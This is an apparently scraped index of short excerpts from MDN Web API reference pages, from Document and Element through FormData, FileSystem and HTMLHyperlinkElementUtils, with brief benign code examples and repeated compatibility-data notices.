accessing device memory capacity there are two ways to acces the approximate amount of ram device has: via javascript api and via client hints http header.
DirectoryReaderSync - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Document.contentType - Web APIs
this may come from http headers or other sources of mime information, and might be affected by automatic type conversions performed by either the browser or extensions.
Document.documentURIObject - Web APIs
syntax var uri = document.documenturiobject; example // check that the uri scheme of the current tab in firefox is 'http', // assuming this code runs in context of browser.xul let uriobj = content.document.documenturiobject; let uriport = uriobj.port; if (uriobj.schemeis('http')) { ...
Document.domConfig - Web APIs
specification http://www.w3.org/tr/dom-level-3-cor...ent3-domconfig ...
Document.domain - Web APIs
WebAPIDocumentdomain
made to set domain under one of the following conditions: the document is inside a sandboxed <iframe> the document has no browsing context the document's effective domain is null the given value is not equal to the document's effective domain (or it is not a registerable domain suffix of it) the document-domain feature-policy is enabled examples getting the domain for the uri http://developer.mozilla.org/docs/web, this example sets currentdomain to the string "developer.mozilla.org".
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Document.fonts - Web APIs
WebAPIDocumentfonts
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Document.forms - Web APIs
WebAPIDocumentforms
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Document.hasFocus() - Web APIs
WebAPIDocumenthasFocus
pt function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = 'this document has the focus.'; body.style.background = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status comment html living standardthe definition of 'document.hasfocus()' in that specification.
Document.lastModified - Web APIs
(see: bug 4363 – document.lastmodified returns date in utc time, but should return it in local time) if you want to know whether an external page has changed, please read this paragraph about the xmlhttprequest() api.
Document.open() - Web APIs
WebAPIDocumentopen
this call, for example opens github.com in a new window, with its opener set to null: document.open('https://www.github.com','', 'noopener=true') two-argument document.open() browsers used to support a two-argument document.open(), with the following signature: document.open(type, replace) where type specified the mime type of the data you are writing (e.g.
Document.origin - Web APIs
WebAPIDocumentorigin
syntax var origin = document.origin; examples var origin = document.origin; // on this page, returns:'https://developer.mozilla.org' var origin = document.origin; // on "about:blank", returns:'null' var origin = document.origin; // on "data:text/html,<b>foo</b>", returns:'null' ...
Document.preferredStyleSheetSet - Web APIs
this is determined from the order of style sheet declarations and the default-style http header.
Document: scroll event - Web APIs
// reference: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; function dosomething(scroll_pos) { // do something with the scroll position } window.addeventlistener('scroll', function(e) { last_known_scroll_position = window.scrolly; if (!ticking) { window.requestanimationframe(function() { dosomething(last_known_scroll_position); ...
Document.xmlEncoding - Web APIs
specification http://www.w3.org/tr/dom-level-3-cor...ment3-encoding this has been removed from dom core level 4wd ...
Document.xmlVersion - Web APIs
to detect this, you can create an element with its name in lower case, then check to see if it gets converted into all upper case (in which case the document is in the non-xml html mode): if (document.createelement("foo").tagname == "foo") { /* document is not xml */ } specifications http://www.w3.org/tr/dom-level-3-cor...ument3-version this has been removed from dom core level 4wd ...
DocumentFragment.querySelector() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DocumentOrShadowRoot.getSelection() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DocumentType - Web APIs
documenttype.systemid read only a domstring, eg "http://www.w3.org/tr/html4/strict.dtd", empty string for html5.
How to create a DOM tree - Web APIs
dom trees can be queried using xpath expressions, converted to strings or written to a local or remote files using xmlserializer (without having to first convert to a string), posted to a web server (via xmlhttprequest), transformed using xslt, xlink, converted to a javascript object through a jxon algorithm, etc.
Introduction to the DOM - Web APIs
s.selectedindex].value);"> <option value="white">white</option> <option value="lightgrey">gray</option> </select> <p><b><tt>link</tt></b></p> <select onchange="setbodyattr('link', this.options[this.selectedindex].value);"> <option value="blue">blue</option> <option value="green">green</option> </select> <small> <a href="http://some.website.tld/page.html" id="sample"> (sample link) </a> </small><br /> <input type="button" value="version" onclick="ver()" /> </form> </div> </body> </html> to test a lot of interfaces in a single page—for example, a "suite" of properties that affect the colors of a web page—you can create a similar test page with a whole console of buttons, textfi...
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
mycurrent_cell.style.background = "rgb(255,0,0)"; } else { mycurrent_cell.style.display = "none"; } } mytablebody.appendchild(mycurrent_row); } mytable.appendchild(mytablebody); mybody.appendchild(mytable); } </script> </html> original document information author(s) marcio galli migrated from http://web.archive.org/web/20000815054125/http://mozilla.org/docs/dom/technote/tn-dom-table/ ...
DynamicsCompressorNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element: DOMActivate event - Web APIs
bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius * ...
Element.classList - Web APIs
WebAPIElementclassList
see https://bugzilla.mozilla.org/show_bug.cgi?id=814014 polyfill the legacy onpropertychange event can be used to create a living classlist mockup thanks to a element.prototype.classname property that fires the specified event once it is changed.
Element.computedStyleMap() - Web APIs
<p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a little bit of css a { --colour: red; color: var(--colour); } we add javascript to grab our link and return back a definition list of all the css property values using computedstylemap().
Element.getAttributeNodeNS() - Web APIs
== example == tbd the example needs to be fixed pre> // html: <div id="top" /> t = document.getelementbyid("top"); specialnode = t.getattributenodens( "http://www.mozilla.org/ns/specialspace", "id"); // inode.value = "full-top" </pre notes getattributenodens is more specific than getattributenode in that it allows you to specify attributes that are part of a particular namespace.
Element.hasAttributeNS() - Web APIs
example // check that the attribute exists before you set a value var d = document.getelementbyid("div1"); if (d.hasattributens( "http://www.mozilla.org/ns/specialspace/", "special-align")) { d.setattribute("align", "center"); } notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldo...
Element.outerHTML - Web APIs
WebAPIElementouterHTML
ent, the variable whose outerhtml property was set will still hold a reference to the original element: var p = document.getelementsbytagname("p")[0]; console.log(p.nodename); // shows: "p" p.outerhtml = "<div>this div replaced a paragraph.</div>"; console.log(p.nodename); // still "p"; the returned value will contain html escaped attributes: var anc = document.createelement("a"); anc.href = "https://developer.mozilla.org?a=b&c=d"; console.log(anc.outerhtml); // output: "<a href='https://developer.mozilla.org?a=b&amp;c=d'></a>" specification specification status comment dom parsing and serializationthe definition of 'element.outerhtml' in that specification.
Element.removeAttributeNS() - Web APIs
example // given: // <div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace" // special:specialalign="utterleft" width="200px" /> d = document.getelementbyid("div1"); d.removeattributens("http://www.mozilla.org/ns/specialspace", "specialalign"); // now: <div id="div1" width="200px" /> notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 method...
Element.runtimeStyle - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.scroll() - Web APIs
WebAPIElementscroll
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.scrollLeftMax - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.scrollTo() - Web APIs
WebAPIElementscrollTo
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element: scroll event - Web APIs
// reference: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; function dosomething(scroll_pos) { // do something with the scroll position } window.addeventlistener('scroll', function(e) { last_known_scroll_position = window.scrolly; if (!ticking) { window.requestanimationframe(function() { dosomething(last_known_scroll_position); ...
Element.setAttributeNS() - Web APIs
example let d = document.getelementbyid('d1'); d.setattributens('http://www.mozilla.org/ns/specialspace', 'spec:align', 'center'); notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattrib...
Element.setAttributeNodeNS() - Web APIs
example // <div id="one" xmlns:myns="http://www.mozilla.org/ns/specialspace" // myns:special-align="utterleft">one</div> // <div id="two">two</div> var myns = "http://www.mozilla.org/ns/specialspace"; var d1 = document.getelementbyid("one"); var d2 = document.getelementbyid("two"); var a = d1.getattributenodens(myns, "special-align"); d2.setattributenodens(a.clonenode(true)); alert(d2.attributes[1].value) // returns: `utterleft' notes if the specified attribute already exists on the element, then that attribute is replaced wi...
Element.slot - Web APIs
WebAPIElementslot
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element - Web APIs
WebAPIElement
in later versions, html elements are in the http://www.w3.org/1999/xhtml namespace in both html and xml trees.
Comparison of Event Targets - Web APIs
examples <!doctype html> <html> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>comparison of event targets</title> <style> table { border-collapse: collapse; height: 150px; width: 100%; } td { border: 1px solid #ccc; font-weight: bold; padding: 5px; min-height: 30px; } .standard { ba...
Event.composed - Web APIs
WebAPIEventcomposed
the <open-shadow> element's composed path is this: array [ p, shadowroot, open-shadow, body, html, htmldocument https://mdn.github.io/web-components-examples/composed-composed-path/, window ] whereas the <closed-shadow> element's composed path is a follows: array [ closed-shadow, body, html, htmldocument https://mdn.github.io/web-components-examples/composed-composed-path/, window ] in the second case, the event listeners only propagate as far as the <closed-shadow> element itself, but not to the nodes insid...
Event.composedPath() - Web APIs
the <open-shadow> element's composed path is this: array [ p, shadowroot, open-shadow, body, html, htmldocument https://mdn.github.io/web-components-examples/composed-composed-path/, window ] whereas the <closed-shadow> element's composed path is a follows: array [ closed-shadow, body, html, htmldocument https://mdn.github.io/web-components-examples/composed-composed-path/, window ] in the second case, the event listeners only propagate as far as the <closed-shadow> element itself, but not to the nodes insid...
Event.initEvent() - Web APIs
WebAPIEventinitEvent
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
EventTarget.dispatchEvent() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
EventTarget - Web APIs
for example xmlhttprequest, audionode, audiocontext, and others.
ExtendableEvent - Web APIs
var cache_version = 1; var current_caches = { prefetch: 'prefetch-cache-v' + cache_version }; self.addeventlistener('install', function(event) { var urlstoprefetch = [ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event.
FederatedCredential - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FederatedCredential.protocol - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FederatedCredential.provider - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FetchEvent.navigationPreload - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FetchEvent.request - Web APIs
note that an http error response (e.g., 404) will not trigger an exception.
File.webkitRelativePath - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
File - Web APIs
WebAPIFile
in particular, filereader, url.createobjecturl(), createimagebitmap(), and xmlhttprequest.send() accept both blobs and files.
FileEntrySync - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileException - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileList - Web APIs
WebAPIFileList
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileReaderSync.readAsArrayBuffer() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileReaderSync.readAsBinaryString() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileReaderSync.readAsDataURL() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileReaderSync.readAsText() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileReaderSync - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystem.name - Web APIs
WebAPIFileSystemname
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystem.root - Web APIs
WebAPIFileSystemroot
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystem - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry.createReader() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry.getDirectory() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry.getFile() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryReader.readEntries() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryReader - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.copyTo() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.filesystem - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.fullPath - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.getMetadata() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.getParent() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.isDirectory - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.isFile - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.moveTo() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.name - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.remove() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFileEntry.createWriter() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFileEntry.file() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFileEntry - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFlags.create - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFlags.exclusive - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemFlags - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemSync - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileHandle API - Web APIs
for example, there are many apis that expect blob or file objects such as filereader (which can be easier to use to read the whole file) or xmlhttprequest.
FontFace.display - Web APIs
WebAPIFontFacedisplay
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FontFace.family - Web APIs
WebAPIFontFacefamily
example var fontface = new fontface('roboto', 'url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = 'newroboto'; console.log(fontface.family); // 'newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification.
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FontFaceSetLoadEvent.fontfaces - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FontFaceSetLoadEvent - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FormData() - Web APIs
WebAPIFormDataFormData
let myform = document.getelementbyid('myform'); let formdata = new formdata(myform); specifications specification status comment xmlhttprequestthe definition of 'formdata()' in that specification.
FormData.append() - Web APIs
WebAPIFormDataappend
if the sent value is different than string or blob it will be automatically converted to string: formdata.append('name', true); formdata.append('name', 74); formdata.append('name', 'john'); formdata.getall('name'); // ["true", "74", "john"] specifications specification status comment xmlhttprequestthe definition of 'append()' in that specification.
FormData.delete() - Web APIs
WebAPIFormDatadelete
example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
FormData.entries() - Web APIs
WebAPIFormDataentries
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the key/value pairs for(var pair of formdata.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment xmlhttprequestthe definition of 'entries() (as iterator<>)' in that specification.
FormData.get() - Web APIs
WebAPIFormDataget
ine creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
es an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormData.has() - Web APIs
WebAPIFormDatahas
data = new formdata(); the following snippet shows the results of testing for the existence of username in the formdata object, before and after appending a username value to it with formdata.append: formdata.has('username'); // returns false formdata.append('username', 'chris'); formdata.has('username'); // returns true specifications specification status comment xmlhttprequestthe definition of 'has()' in that specification.
FormData.keys() - Web APIs
WebAPIFormDatakeys
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the keys for (var key of formdata.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment xmlhttprequestthe definition of 'keys() (as iterator<>)' in that specification.
FormData.set() - Web APIs
WebAPIFormDataset
// currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition of 'set()' in that specification.
FormData.values() - Web APIs
WebAPIFormDatavalues
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the values for (var value of formdata.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment xmlhttprequestthe definition of 'values() (as iterator<>)' in that specification.
FormDataEvent.formData - Web APIs
/ construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdata' in that specification.
GainNode() - Web APIs
WebAPIGainNodeGainNode
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Using the Gamepad API - Web APIs
b.appendchild(e); } d.appendchild(b); var a = document.createelement("div"); a.classname = "axes"; for (var i = 0; i < gamepad.axes.length; i++) { var p = document.createelement("progress"); p.classname = "axis"; //p.id = "a" + i; p.setattribute("max", "2"); p.setattribute("value", "1"); p.innerhtml = i; a.appendchild(p); } d.appendchild(a); // see https://github.com/luser/gamepadtest/blob/master/index.html var start = document.getelementbyid("start"); if (start) { start.style.display = "none"; } document.body.appendchild(d); requestanimationframe(updatestatus); } function disconnecthandler(e) { removegamepad(e.gamepad); } function removegamepad(gamepad) { var d = document.getelementbyid("controller" + gamepad.index); docu...
Using the Geolocation API - Web APIs
ink" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; status.textcontent = ''; maplink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`; maplink.textcontent = `latitude: ${latitude} °, longitude: ${longitude} °`; } function error() { status.textcontent = 'unable to retrieve your location'; } if(!navigator.geolocation) { status.textcontent = 'geolocation is not supported by your browser'; } else { status.textcontent = 'locating…'; naviga...
Geolocation API - Web APIs
ink" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; status.textcontent = ''; maplink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`; maplink.textcontent = `latitude: ${latitude} °, longitude: ${longitude} °`; } function error() { status.textcontent = 'unable to retrieve your location'; } if(!navigator.geolocation) { status.textcontent = 'geolocation is not supported by your browser'; } else { status.textcontent = 'locating…'; naviga...
GestureEvent - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
GlobalEventHandlers.onerror - Web APIs
instead the error reported is simply "script error." this behavior can be overriden in some browsers using the crossorigin attribute on <script> and having the server send the appropriate cors http response headers.
GlobalEventHandlers.onformdata - Web APIs
tdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'onformdata' in that specification.
GlobalEventHandlers.onkeypress - Web APIs
*/ alert("yesss!!!"); location.assign("https://developer.mozilla.org/"); } return true; }; })(); note: a more complete framework for capturing the typing of hidden words is available on github.
GlobalEventHandlers.onload - Web APIs
the onload property of the globaleventhandlers mixin is an eventhandler that processes load events on a window, xmlhttprequest, <img> element, etc.
GlobalEventHandlers.onmousedown - Web APIs
html <div class="container"> <div class="view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px; background: black; } .view { position: absolute; width: 100px; height: 100px; background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(event) { view.removeattribute('hidden'); view.style.left = event.clientx - 50 + 'px';...
GlobalEventHandlers.onplay - Web APIs
</video> <p>video courtesy of <a href="http://www.bigbuckbunny.org/" target="_blank">big buck bunny</a>.</p> <script> function alertplay() { alert("the video has started to play."); } </script> specification specification status comment html living standardthe definition of 'onplay' in that specification.
HTMLButtonElement - Web APIs
htmlbuttonelement.formmethod is a domstring reflecting the http method that the browser uses to submit the form.
HTMLElement.offsetParent - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLElement.offsetTop - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLElement.title - Web APIs
WebAPIHTMLElementtitle
syntax var str = element.title; element.title = str; example const link = document.createelement('a'); link.innertext = 'grapes'; link.href = 'https://en.wikipedia.org/wiki/grape'; link.title = 'wikipedia page on grapes'; specifications specification status comment html living standardthe definition of 'title' in that specification.
HTMLFormElement: formdata event - Web APIs
/ construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); reques...
HTMLFormElement.method - Web APIs
the htmlformelement.method property represents the http method used to submit the <form>.
HTMLHyperlinkElementUtils.host - Web APIs
syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html...
HTMLHyperlinkElementUtils.hostname - Web APIs
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hostname' in that specification.
HTMLHyperlinkElementUtils.href - Web APIs
syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/htmlhyperlinkelementutils/href' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.href' in that specification.
HTMLHyperlinkElementUtils.password - Web APIs
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.password' in that specification.
HTMLHyperlinkElementUtils.pathname - Web APIs
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/htmlhyperlinkelementutils.pathname' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.pathname' in that specification.
HTMLHyperlinkElementUtils.port - Web APIs
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/htmlhyperlinkelementutils.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.port' in that specification.
HTMLHyperlinkElementUtils.protocol - Web APIs
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.protocol' in that specification.
HTMLHyperlinkElementUtils.search - Web APIs
syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html...
HTMLHyperlinkElementUtils.toString() - Web APIs
syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring' specifications specification status comment html living standard living standard ...
HTMLHyperlinkElementUtils.username - Web APIs
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.username' in that specification.
HTMLIFrameElement.allowPaymentRequest - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLIFrameElement.csp - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLIFrameElement.src - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.align - Web APIs
